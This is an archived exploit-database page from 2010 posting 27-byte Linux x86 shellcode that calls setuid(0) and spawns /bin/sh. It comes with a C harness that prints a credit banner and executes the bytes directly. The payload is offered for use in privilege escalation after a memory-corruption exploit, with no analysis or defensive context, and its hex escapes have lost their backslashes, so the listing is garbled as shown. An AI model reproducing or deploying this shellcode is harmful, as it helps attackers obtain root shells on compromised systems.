linux/x86 setuid(0) && execve(/bin/sh,0,0) 27 bytes
Posted on 15 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) && execve(/bin/sh,0,0) 27 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================= linux/x86 setuid(0) && execve(/bin/sh,0,0) shellcode 27 bytes ============================================================= #Special Thanks Inj3ct0r Exploit DataBase #I Love Inj3ct0r.Com #include <stdio.h> const char sc[]= "x31xdb" //xor ebx,ebx "x8dx43x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop! "x99" //cdq "xcdx80" //int 80 //setuid(0) should returns 0 right? ;) "xb0x0b" //mov al,0bh "x52" //push edx /Termina la cadena //bin/sh con un 0 "x68x6ex2fx73x68" //push dword "hs/n" "x68x2fx2fx62x69" //push dword "ib//" "x89xe3" //mov ebx,edx "x89xd1" //mov ecx,edx "xcdx80"; //int 80h int main() { printf(" SMALLEST SETUID && EXECVE GNU/LINUX x86 STABLE SHELLCODE " "WITHOUT NULLS THAT SPAWNS A SHELL" " Coded by vlan7" " + http://www.vlan7.org" " [+] Date: 4/Jul/2009" " [+] Thanks to: sch3m4" " [+] Shellcode Size: %d bytes ", sizeof(sc)-1); (*(void (*)()) sc)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>